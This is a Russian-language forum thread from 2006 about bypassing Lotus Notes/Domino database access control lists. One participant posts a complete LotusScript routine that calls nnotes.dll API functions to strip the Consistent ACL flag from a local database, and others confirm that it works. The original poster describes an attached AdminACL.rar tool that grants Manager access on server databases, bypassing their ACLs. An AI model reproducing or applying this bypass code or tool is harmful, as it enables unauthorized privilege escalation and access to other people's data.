Безопасность *.nsf

Тема в разделе "Lotus - Программирование", создана пользователем nor, 29 июн 2006.

Статус темы:
Закрыта.
  1. nor

    nor Гость

    Используя nsf c определенной dll и минуя ACL бд я добавил группу типа "Person group" c уровнем доступа "Manager" и со всеми возможными ролями в тех бд, в acl которых моя учетная запись никоим образом не была прописана, т.е. в которых по умолчанию (- Default - ) имел доступ "No Access". В тех же ACL бд, в которых эта группа уже существовала, ее уровень доступа также был повышен до уровня "Manager". Таким образом в обход ACL я получил доступ мэнэджера в тем бд, к которым прежде я доступа не имел либо имел ограниченный доступ.

    Как такое может быть?
     
  2. Elena Nefedova

    Elena Nefedova Гость

    А как добавил-то? на сервер вошел и добавил? или с рабочего места под ограниченными правами как-то ухитрился?
     
  3. Domino6

    Domino6 Гость

    Через другую учетку(серверную) либо локальную базу т.е. евно не указан доступ но лакальный манагер если не стоит ECL
     
  4. Constantin A Chervonenko

    Constantin A Chervonenko Well-Known Member

    Регистрация:
    30 май 2006
    Сообщения:
    1.288
    Симпатии:
    0
    Если у злоумышленника есть физический доступ к серверу, вся безопасность идет лесом (тут Lotus мало отличается от прочих клиент-серверов, разве только наличием встроенного шифрования). Даже ДиЛяЛьки подменять не надо: просто открыть базу "локально" и вписать в ACL все, что угодно
     
  5. nor

    nor Гость

    Для: Domino6

    Ничего такого не было.
     
  6. nor

    nor Гость

    Для: Constantin A Chervonenko

    Нет, ты не прав. Я даже не понимаю, что ты имеешь в виду, потому как если у тебя нет доступа к бд, то и локально ее нельзя открыть - acl работает и на локальных бд и их репликах. Возможно тебе следует пояснить, что ты хотел сказать :) .
     
  7. Constantin A Chervonenko

    Constantin A Chervonenko Well-Known Member

    Регистрация:
    30 май 2006
    Сообщения:
    1.288
    Симпатии:
    0
    Локально ACL НЕ работает (читай первоисточники). Или ты имеешь в виду флажок Consist.ACL? Так для локальной базы это фиговый листок (счищается 16-чным редактором), он только эмулирует ACL. Его ценность - возможность локальной отладки приложения
     
  8. nor

    nor Гость

    :( Правда? Возможно я не прав.
    А при помощи 16-ого редактора тебе удавалось обойти локальный ACL? Буду крайне признателен за соответствующие скриншоты и короткие пояснения данного процесса взлома в этой ветке форума. Я думаю, об этом будет интерсно узнать не только мне, но и многочисленным администраторам и девелоперам платформы Notes/Domino.
    Жду с нетерпением признаться в своей некомпетентности и незнании первоисточников.
     
  9. Constantin A Chervonenko

    Constantin A Chervonenko Well-Known Member

    Регистрация:
    30 май 2006
    Сообщения:
    1.288
    Симпатии:
    0
    И даже без 16-чного, лишь бы база была доступна локально:

    Declare Function NSFDbOpen Lib "nnotes.dll" (Byval pathName As String, hDB As Long) As Integer
    Declare Function NSFDbReadACL Lib "nnotes.dll" (Byval hDB As Long, hACL As Long) As Integer
    Declare Function ACLGetFlags Lib "nnotes.dll" (Byval hACL As Long, dwFlags As Long) As Integer
    Declare Function ACLSetFlags Lib "nnotes.dll" (Byval hACL As Long, dwFlags As Long) As Integer
    Declare Function NSFDbStoreACL Lib "nnotes.dll" (Byval hDB As Long, Byval hACL As Long, objectID As Long, method As Long) As Integer
    Declare Function NSFDbClose Lib "nnotes.dll" (Byval hDB As Long) As Integer
    Const ACL_UNIFORM_ACCESS = 1

    Dim filePath As String
    Dim result As Integer
    Dim hDB As Long
    Dim hACL As Long
    Dim flags As Long

    result = NSFDbOpen(filePath, hDB)
    result = NSFDbReadACL(hDB, hACL)
    result = ACLGetFlags(hACL, flags)
    If flags And ACL_UNIFORM_ACCESS Then
    flags = flags Xor ACL_UNIFORM_ACCESS
    result = ACLSetFlags(hACL, flags)
    result = NSFDbStoreACL(hDB, hACL, 0, 0)
    Else
    Print "The flag is not set. Nothing changed."
    End If
    result = NSFDbClose(hDB)
     
  10. nor

    nor Гость

    hDB - ?
    hACL - ?
    dwFlags - ?
    Я не понимаю эти значения точно или не уверен, что правильно понимаю, потому не могу проверить код.
    Что они такое и каковы их возможные значения - к примеру?
    И вообще, что конкретно делает данный скрипт - можно получить комментарии, чтобы не гадать?
     
  11. Hedg

    Hedg Гость

  12. Constantin A Chervonenko

    Constantin A Chervonenko Well-Known Member

    Регистрация:
    30 май 2006
    Сообщения:
    1.288
    Симпатии:
    0
    NSFDbOpen(filePath, hDB) - открывает заданную базу, возвращая её хендл в hDB
    NSFDbReadACL(hDB, hACL) - .. её ACL - в hACL
    ACLGetFlags(hACL, flags) - читает флажки в переменную flags и т.д..

    Скрипт - "взламывает" ACL. Весь код - из тех самых первоисточников
     
  13. nor

    nor Гость

    Для: Constantin A Chervonenko

    Ладно, что я не так делаю?

    Вот код:

    Код (Text):
    Declare Function NSFDbOpen Lib "nnotes.dll" (Byval pathName As String, hDB As Long) As Integer
    Declare Function NSFDbReadACL Lib "nnotes.dll" (Byval hDB As Long, hACL As Long) As Integer
    Declare Function ACLGetFlags Lib "nnotes.dll" (Byval hACL As Long, dwFlags As Long) As Integer
    Declare Function ACLSetFlags Lib "nnotes.dll" (Byval hACL As Long, dwFlags As Long) As Integer
    Declare Function NSFDbStoreACL Lib "nnotes.dll" (Byval hDB As Long, Byval hACL As Long, objectID As Long, method As Long) As Integer
    Declare Function NSFDbClose Lib "nnotes.dll" (Byval hDB As Long) As Integer


    Const ACL_UNIFORM_ACCESS = 1

    Dim filePath As String
    Dim result As Integer
    Dim hDB As Long
    Dim hACL As Long
    Dim flags As Long

    flePath = "C:\Lotus7\notes\data\testacl.nsf"
    result = NSFDbOpen(filePath, hDB)
    result = NSFDbReadACL(hDB, hACL)
    result = ACLGetFlags(hACL, flags)
    If flags And ACL_UNIFORM_ACCESS Then
    flags = flags Xor ACL_UNIFORM_ACCESS
    result = ACLSetFlags(hACL, flags)
    result = NSFDbStoreACL(hDB, hACL, 0, 0)
    Else
    Print "The flag is not set. Nothing changed."
    End If
    result = NSFDbClose(hDB)
    C:\Lotus7\notes\data\testacl.nsf - тестовая база, к которой я не имею доступа и стоит в которой Consist.ACL. У меня печатает "The flag is not set. Nothing changed." Так каким образом этот код что-то "взламывает"? Или я в чем-то ошибся? Или это очередная пустая болтовня?
     
  14. Medevic

    Medevic Что это ? :)
    Lotus team

    Регистрация:
    10 дек 2004
    Сообщения:
    3.346
    Симпатии:
    2
    У меня код работает.
     
  15. nor

    nor Гость

    Да, у меня тоже он заработал. Я признаю, что я был не прав и плохо знаю первоисточники. Спасибо Constantin A Chervonenko за разъяснение вопроса.
     
  16. Constantin A Chervonenko

    Constantin A Chervonenko Well-Known Member

    Регистрация:
    30 май 2006
    Сообщения:
    1.288
    Симпатии:
    0
    Всегда пожалуйста. Там главное требование - локальный (физический) доступ. Или тебе удалось сломать ACL на сервере?? Признавайся, мы тебя не выдадим :)
     
  17. nor

    nor Гость

    Локально только...

    Вот та nsf, про которую я говорил - позволяет "взламывать" acl на сервере, см. описание выше.
     

    Вложения:

    • AdminACL.rar
      Размер файла:
      57,2 КБ
      Просмотров:
      87
Загрузка...
Статус темы:
Закрыта.

Поделиться этой страницей